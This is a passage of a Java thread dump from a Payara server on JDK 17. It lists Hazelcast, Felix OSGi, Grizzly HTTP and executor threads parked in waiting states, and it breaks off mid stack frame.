[WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.partition-operation.thread-5" #51 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3771e0c5 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@17.0.13/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539) + at java.base@17.0.13/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"EventAdminAsyncThread #4" #157 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixResolver-3" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.TcpServer.thread-1" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d5d65ec + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1170) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-thread-pool::http-listener-1(1)" #94 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2e036223 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.TcpServer.thread-3" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d5d65ec + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"CM Configuration Updater" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@136eaa8e + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"SCR Component Actor" #170 daemon [WAITING] on java.util.LinkedList@5978ba57 + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.Object.wait(Object.java:338) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.InvocationMonitorThread" #75 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@270906b7 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.partition-operation.thread-6" #52 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixResolver-9" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.TcpServer.thread-2" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d5d65ec + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.generic-operation.thread-2" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b9f7e83 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"EventAdminAsyncThread #9" #164 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"CM Event Dispatcher" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b040f72 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.event-3" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1309c653 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.quizzical_elgamal.partition-operation.thread-10" #56 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.event-5" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e1334fe + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"GF Domain XML" #118 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5383efb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"payara-executor-service-task" #41 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65e40e03 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-thread-pool::http-listener-2(2)" #102 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5db1ef81 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GF Domain XML" #119 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5383efb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixStartLevel" #24 daemon [WAITING] on java.util.ArrayList@9e38e27 + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.Object.wait(Object.java:338) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:274) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"EventAdminAsyncThread #7" #162 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.event-4" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ee3d403 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"Executor-Service-2" #121 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3df79151 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at 